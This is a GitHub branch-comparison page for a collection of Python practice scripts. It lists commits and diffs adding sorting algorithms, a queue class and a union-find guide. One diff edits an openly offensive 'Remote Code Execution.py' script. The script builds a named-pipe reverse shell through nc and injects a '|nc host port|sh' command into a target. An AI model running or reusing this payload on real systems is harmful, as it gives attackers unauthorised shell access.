Skip to content
Permalink

Comparing changes

Choose two branches to see what’s changed or to start a new pull request. If you need to, you can also or learn more about diff comparisons.

Open a pull request

Create a new pull request by comparing changes across two branches. If you need to, you can also . Learn more about diff comparisons here.
base repository: buffaloist/Python-project-Scripts
Failed to load repositories. Confirm that selected base ref is valid, then try again.
Loading
base: main
Choose a base ref
...
head repository: larymak/Python-project-Scripts
Failed to load repositories. Confirm that selected head ref is valid, then try again.
Loading
compare: main
Choose a head ref

Commits on Mar 28, 2024

  1. update README.md

    princekhunt committed Mar 28, 2024
    Copy the full SHA
    7e58829 View commit details

Commits on Mar 30, 2024

  1. Copy the full SHA
    61f1e16 View commit details

Commits on May 11, 2024

  1. tests

    buffaloist committed May 11, 2024
    Copy the full SHA
    5525fb8 View commit details

Commits on May 13, 2024

  1. tested and working

    buffaloist committed May 13, 2024
    Copy the full SHA
    e4e885f View commit details
  2. removing test files

    buffaloist committed May 13, 2024
    Copy the full SHA
    9a9136b View commit details

Commits on May 17, 2024

  1. Merge pull request larymak#385 from buffaloist/20240511

    rewrite to clean up code, use argparser, utilize functions, set variables for file paths
    larymak authored May 17, 2024
    Copy the full SHA
    39c9397 View commit details

Commits on May 20, 2024

  1. Copy the full SHA
    fc1d1ff View commit details

Commits on May 21, 2024

  1. Copy the full SHA
    54a9024 View commit details
  2. Copy the full SHA
    dd32309 View commit details
  3. deleted old project folder

    realasib committed May 21, 2024
    Copy the full SHA
    13d14b8 View commit details
  4. Update Remote Code Execution.py

    Added error handling with a try-except block to manage potential exceptions and it has better readability with clear formatting and descriptive variable names
    blondon1 authored May 21, 2024
    Copy the full SHA
    ef580fa View commit details

Commits on May 22, 2024

  1. firebase initialization

    improved structure and removed commented-out imports
    blondon1 authored May 22, 2024
    Copy the full SHA
    55986c1 View commit details

Commits on May 28, 2024

  1. Merge pull request larymak#382 from princekhunt/main

    update README.md
    larymak authored May 28, 2024
    Copy the full SHA
    4743938 View commit details
  2. Merge pull request larymak#383 from bharatm29/main

    add pydiff: A simple file diff python script
    larymak authored May 28, 2024
    Copy the full SHA
    31dc911 View commit details

Commits on May 30, 2024

  1. Merge pull request larymak#386 from asibhossen897/main

    Add Web Scraping Script for scraping jobs from devjobsscanner.com
    larymak authored May 30, 2024
    Copy the full SHA
    9ab85c0 View commit details

Commits on Jun 4, 2024

  1. Merge pull request larymak#387 from blondon1/patch-7

    Update Remote Code Execution.py
    larymak authored Jun 4, 2024
    Copy the full SHA
    162690c View commit details

Commits on Jun 7, 2024

  1. Update README.md

    Shreya-0309 authored Jun 7, 2024
    Copy the full SHA
    0ec24ba View commit details
  2. Create cocktail_sort

    Shreya-0309 authored Jun 7, 2024
    Copy the full SHA
    047f0e3 View commit details
  3. Copy the full SHA
    900644a View commit details
  4. Create shell_sort.py

    Shreya-0309 authored Jun 7, 2024
    Copy the full SHA
    d27c176 View commit details
  5. Update README.md

    Shreya-0309 authored Jun 7, 2024
    Copy the full SHA
    d07a489 View commit details
  6. Updated files

    Shreya-0309 authored Jun 7, 2024
    Copy the full SHA
    75e9485 View commit details
  7. Updated files

    Shreya-0309 authored Jun 7, 2024
    Copy the full SHA
    1fcf2f0 View commit details

Commits on Jun 13, 2024

  1. Merge pull request larymak#388 from blondon1/patch-8

    firebase initialization
    larymak authored Jun 13, 2024
    Copy the full SHA
    37c6353 View commit details

Commits on Jun 15, 2024

  1. Copy the full SHA
    17f4175 View commit details

Commits on Jun 28, 2024

  1. Adding initial scripts for e-commerce website

    Eter Nada committed Jun 28, 2024
    Copy the full SHA
    8975bdc View commit details

Commits on Jul 1, 2024

  1. Merge pull request larymak#389 from Shreya-0309/main

    Added Additional Sorting Algorithms
    larymak authored Jul 1, 2024
    Copy the full SHA
    2288b34 View commit details
  2. Merge pull request larymak#390 from ibrahim-kiri/project

    Added a student management system
    larymak authored Jul 1, 2024
    Copy the full SHA
    d56caf8 View commit details

Commits on Jul 3, 2024

  1. Merge pull request larymak#391 from tarenjk24/main

    Adding initial scripts for e-commerce website
    larymak authored Jul 3, 2024
    Copy the full SHA
    d661777 View commit details
  2. readme file preparing for the script

    Eter Nada committed Jul 3, 2024
    Copy the full SHA
    cab079b View commit details

Commits on Jul 4, 2024

  1. rest of web app templates

    Eter Nada committed Jul 4, 2024
    Copy the full SHA
    d74d030 View commit details
  2. Merge branch 'larymak:main' into main

    Eter Nada authored Jul 4, 2024
    Copy the full SHA
    de55ad5 View commit details

Commits on Jul 17, 2024

  1. Update README.md

    Eter Nada authored Jul 17, 2024
    Copy the full SHA
    f3c9d98 View commit details

Commits on Jul 19, 2024

  1. Merge pull request larymak#393 from tarenjk24/main

    readme file preparing for the script
    larymak authored Jul 19, 2024
    Copy the full SHA
    fd931fb View commit details

Commits on Jul 25, 2024

  1. Update cart.html

    added stripe payment
    Eter Nada authored Jul 25, 2024
    Copy the full SHA
    5d92aa7 View commit details

Commits on Jul 30, 2024

  1. Merge pull request larymak#394 from tarenjk24/patch-2

    Update cart.html
    larymak authored Jul 30, 2024
    Copy the full SHA
    2642a1b View commit details

Commits on Aug 1, 2024

  1. Driv

    adityajai25 committed Aug 1, 2024
    Copy the full SHA
    cbeb669 View commit details
  2. Copy the full SHA
    d6c93ce View commit details

Commits on Aug 2, 2024

  1. Merge pull request larymak#395 from adityajai25/main

    Driver Drowsiness Detection using ML
    larymak authored Aug 2, 2024
    Copy the full SHA
    1719912 View commit details

Commits on Aug 6, 2024

  1. Created Investment Rules folder and added a snippet to calulate time …

    …take to double your investments
    ShrirangaB committed Aug 6, 2024
    Copy the full SHA
    c4268dd View commit details
  2. Copy the full SHA
    f81809d View commit details

Commits on Aug 7, 2024

  1. Added a new Investment Rules snippet to calculate Real Inflation adje…

    …sted return
    Mallikarjun committed Aug 7, 2024
    Copy the full SHA
    ca78b55 View commit details

Commits on Aug 13, 2024

  1. Merge pull request larymak#397 from itsmpython/Web_Scraper_1.0

    Created Investment_rules automation scripts
    larymak authored Aug 13, 2024
    Copy the full SHA
    f1b1de7 View commit details

Commits on Sep 6, 2024

  1. Copy the full SHA
    2609693 View commit details

Commits on Sep 9, 2024

  1. Merge pull request larymak#398 from EugeneMMF/main

    sudoku solver script.
    larymak authored Sep 9, 2024
    Copy the full SHA
    7d8a459 View commit details

Commits on Oct 7, 2024

  1. Copy the full SHA
    88cdc9f View commit details

Commits on Oct 10, 2024

  1. Copy the full SHA
    4f7e345 View commit details

Commits on Oct 11, 2024

  1. Merge pull request larymak#399 from eshaanrawat1/main

    Added Union Find Data Structure
    larymak authored Oct 11, 2024
    Copy the full SHA
    a328b66 View commit details

Commits on Jan 10, 2025

  1. Create Cycle_Sort.py

    KavinduDr authored Jan 10, 2025
    Copy the full SHA
    50bbd38 View commit details
  2. Update Cycle_Sort.py

    KavinduDr authored Jan 10, 2025
    Copy the full SHA
    f2fc2d2 View commit details
Showing 3,015 changed files with 44,611 additions and 133 deletions.
The diff you're trying to view is too large. We only load the first 3000 changed files.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -141,3 +141,4 @@ cython_debug/
!/PYTHON APPS/Alarm_Clock/media/image/chose_timer.png

!/PYTHON APPS/Alarm_Clock/media/image/start_alarm.png
.DS_Store
14 changes: 9 additions & 5 deletions Cyber_security projects/Remote Code Execution.py
Original file line number Diff line number Diff line change
@@ -14,11 +14,15 @@


def main():
e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=
p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)
Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)
send_payload(f"|nc {lhost} {payload_port}|sh")
print("done.. check shell")
try:
payload_command = f"rm /tmp/s && mknod /tmp/s p && /bin/sh 0< /tmp/s | nc {LOCAL_HOST} {LOCAL_PORT} > /tmp/s"
with Popen(["echo", payload_command], stdout=PIPE) as e_proc:
Popen(["nc", "-nlvp", f"{PAYLOAD_PORT}"], stdin=e_proc.stdout)
send_payload(f"|nc {LOCAL_HOST} {PAYLOAD_PORT}|sh")
print("done.. check shell")
except Exception as e:
print(f"An error occurred: {e}")



def get_session():
4 changes: 4 additions & 0 deletions Data Structures and Algorithms/README.md
Original file line number Diff line number Diff line change
@@ -8,6 +8,8 @@

- Bogo Sort

- Cocktail Sort

- Counting Sort

- Linear search (for numbers)
@@ -36,6 +38,8 @@

- Recursive Binary Search

- Shell Sort

- Selection Sort

- Binary Tree traversal
50 changes: 50 additions & 0 deletions Data Structures and Algorithms/Sorting Algorithms/Cycle_Sort.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
from typing import List

def cycle_sort(nums: List[int]) -> int:

writes = 0

for cycle_start in range(len(nums) - 1):
current = nums[cycle_start]

# Find the target position for the current item.
target_position = cycle_start
for i in range(cycle_start + 1, len(nums)):
if nums[i] < current:
target_position += 1

# Skip if the item is already in the correct position.
if target_position == cycle_start:
continue

# Handle duplicates by finding the next available position.
while current == nums[target_position]:
target_position += 1

nums[target_position], current = current, nums[target_position]
writes += 1

# Rotate the rest of the cycle.
while target_position != cycle_start:
target_position = cycle_start
for i in range(cycle_start + 1, len(nums)):
if nums[i] < current:
target_position += 1

while current == nums[target_position]:
target_position += 1

nums[target_position], current = current, nums[target_position]
writes += 1

return writes


if __name__ == "__main__":
arr = [1, 8, 3, 9, 10, 10, 2, 4]
print("Before sort:", arr)

writes = cycle_sort(arr)

print("After sort:", arr)
print(f"Number of writes: {writes}")
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
# Python program to implement Pigeonhole Sort

def pigeonhole_sort(a):
# size of range of values in the list
# (ie, number of pigeonholes we need)
my_min = min(a)
my_max = max(a)
size = my_max - my_min + 1

# our list of pigeonholes
holes = [0] * size

# Populate the pigeonholes.
for x in a:
assert type(x) is int, "integers only"
holes[x - my_min] += 1

# Put the elements back into the array in order.
i = 0
for count in range(size):
while holes[count] > 0:
holes[count] -= 1
a[i] = count + my_min
i += 1


a = [8, 1, 2, 7, 4, 5, 8]
print("Sorted order is : ", end = ' ')

pigeonhole_sort(a)

for i in range(0, len(a)):
print(a[i], end = ' ')
49 changes: 49 additions & 0 deletions Data Structures and Algorithms/Sorting Algorithms/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
# Cycle Sort Algorithm

## Overview
Cycle Sort is a comparison-based sorting algorithm that is efficient when minimizing memory writes is important. It is an in-place sorting algorithm that rearranges the elements by identifying cycles in the permutation of elements.

## Algorithm Explanation
The algorithm works by:
1. Identifying the correct position of each element in the array.
2. Placing the element in its correct position and replacing the element already there in the cycle.
3. Repeating the process for the remaining unsorted elements.

## Complexity
- **Time Complexity**:
- Best, Worst, and Average Case: O(n²) (due to nested cycles).
- **Space Complexity**: O(1) (in-place sorting).

## Usage Example
```python
from Cycle_Sort import cycle_sort

arr = [4, 5, 3, 2, 1]
print("Original array:", arr)
writes = cycle_sort(arr)
print("Sorted array:", arr)
print("Number of writes performed:", writes)
```
# Pigeonhole Sort Algorithm

## Overview
Pigeonhole Sort is a sorting algorithm that works well for sorting lists where the range of values (i.e., the difference between the maximum and minimum values) is not significantly larger than the number of elements in the list. It is a non-comparison-based sorting algorithm.

The algorithm works by placing each element into its corresponding "pigeonhole" (a slot or bucket) and then iterating through the pigeonholes in order to reconstruct the sorted list.

## Complexity
- **Time Complexity**:
- The time complexity of Pigeonhole Sort is O(n + range), where n is the number of elements in the list and range is the difference between the maximum and minimum values.

- This makes it efficient for lists with a small range of values.
- **Space Complexity**: The space complexity is O(range), as it requires additional space for the holes list.
- **Limitations**: Pigeonhole Sort is not suitable for lists with a large range of values, as it would require a lot of memory for the holes list.

## Usage Example
```python
from PigeonHole_Sort import pigeonhole_sort

arr = [4, 5, 3, 2, 1]
print("Original array:", arr)
writes = pigeonhole_sort(arr)
print("Sorted array:", arr)
27 changes: 27 additions & 0 deletions Data Structures and Algorithms/Sorting Algorithms/cocktail_sort.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
import sys

def cocktail_sort(arr):
n = len(arr)
swapped = True
start = 0
end = n - 1
while swapped:
swapped = False

for i in range(start, end):
if arr[i] > arr[i + 1]:
arr[i], arr[i + 1] = arr[i + 1], arr[i]
swapped = True
if not swapped:
break
swapped = False
end -= 1

for i in range(end - 1, start - 1, -1):
if arr[i] > arr[i + 1]:
arr[i], arr[i + 1] = arr[i + 1], arr[i]
swapped = True
start += 1
return arr

print(cocktail_sort([5, 8, 1, 4, 7, 9, 6, 3, 2]))
18 changes: 18 additions & 0 deletions Data Structures and Algorithms/Sorting Algorithms/shell_sort.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
def shell_sort(arr):
n = len(arr)
gap = n // 2 # gap size

while gap > 0:
for i in range(gap, n):
temp = arr[i]
j = i
# Perform insertion sort for the elements separated by the gap
while j >= gap and arr[j - gap] > temp:
arr[j] = arr[j - gap]
j -= gap
arr[j] = temp
gap //= 2

return arr

print(shell_sort([5, 8, 1, 4, 7, 9, 6, 3, 2]))
27 changes: 27 additions & 0 deletions Data Structures and Algorithms/queues.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
class Queue:
def __init__(self):
self.queue = []

def enqueue(self, item):
self.queue.append(item)

def dequeue(self):
if not self.is_empty():
return self.queue.pop(0)
return "Queue is empty"

def is_empty(self):
return len(self.queue) == 0

def peek(self):
return self.queue[0] if not self.is_empty() else None

def size(self):
return len(self.queue)

# Example Usage
q = Queue()
q.enqueue(10)
q.enqueue(20)
print(q.dequeue()) # Output: 10
print(q.peek()) # Output: 20
84 changes: 84 additions & 0 deletions Data Structures and Algorithms/union_find/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
# Union Find (Disjoint Set Union) - Implementation and Use

## Table of Contents
- [Why Union Find?](#why-union-find)
- [Functions and Examples](#functions-and-examples)
- [Setup](#setup)
- [Additional Resources](#additional-resources)
- [Leetcode Questions](#leetcode-questions)

## Why Union Find?
Union Find is a popular data structure that allows us to solve many different types of graph
problems. It works best with undirected graphs, and it allows us to figure out whether a node
is connected to another node.

Some problems it can be used to solve:
- Find the minimum spanning tree in a graph (Kruskal's)
- Check if there is a path between two nodes
- Finding redundant edges
- Representing networks


## Functions and Examples
Union Find seems complex at first, but it is actually a lot easier when you understand that there are
only two functions.
- Find(n) : returns the parent of a node n
- Union(n1, n2) : connects n1 and n2 if they are not previously connected

Let's look at an example!
```python
u = UnionFind(7) # create a UnionFind object with 7 nodes (numbered 0 to 6)

u.union(0, 1) # connects 0 and 1 together
u.union(5, 6) # connects 5 and 6 together

u.find(1) # returns 0, since 0 is parent of 1
u.find(5) # returns 5, since 5 is its own parent

u.union(1, 2) # connects 2 to the component 0-1
u.find(2) # 2s parent is now 0

# Now our structure looks like this

# 0-1-2 3 4 5-6

u.union(1, 6) # first we find the parents of 1 and 6
# parents are 0, and 5
# connect the smaller component to the bigger
# now 5's parent is 0

u.find(6) # now this goes:
# 6 parent is 5 -> 5 parent is 0 -> 0 is its own parent
```

And that's it! You can use the sample code to test different examples with Union Find.
In the code, par keeps track of the parent of each node and rank keeps track of the size of
each component.

## Setup

First clone the repo
> `cd union_find` to get into this folder.
> call the verify function anywhere, consider adding ``` if __name__ == '__main__'```
> `python union_find.py` to run the demo
You can modify the structure in the verify function and play around with it.

## Additional Resources

Here are some resources I found useful when learning:
- Neetcode Graph Videos on YouTube
- William Fiset - Union Find Video on YouTube
- Union Find Medium Article by Claire Lee
- Union Find Visualizer - Visualgo

## Leetcode Questions
- 200 - Number of Islands
- 684 - Redundant Connection
- 695 - Max Area of an Island
- 827 - Making a Large Island
- 2316 - Count Unreachable Pairs of Nodes in an Undirected Graph
- 2421 - Maximum Score of a Good Path
- 2709 - Greatest Common Divisor Traversal

I hope this was helpful. If there are any mistakes or issues or if you want to contribute to union find, feel free to contact me at rawateshaan0 [at] gmail [dot] com
Loading